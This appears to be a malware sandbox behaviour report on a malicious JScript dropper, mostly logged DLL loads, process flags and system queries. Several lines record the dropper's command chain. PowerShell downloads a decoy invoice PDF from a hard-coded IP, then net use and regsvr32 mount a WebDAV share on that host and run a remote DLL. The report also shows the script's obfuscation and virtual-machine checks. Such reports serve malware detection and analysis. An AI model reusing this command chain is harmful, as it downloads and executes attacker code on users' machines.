Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6556.js.csv");ITextStream.WriteLine(" entry:7373 f:ooxmbbz");ITextStream.WriteLine(" exec:2 f:ooxmbbz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49714

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3709			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6127			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6188	Thread sleep count: 3709 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6188	Thread sleep count: 6127 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6320	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1260	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3908	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7312	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000D.00000002.1335850988.00000161D1E63000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1335850988.00000161D1DF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2568954479.00000218C0A5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000D.00000002.1335850988.00000161D1E63000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,
Source: svchost.exe, 0000000F.00000002.2566824378.00000218BB42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
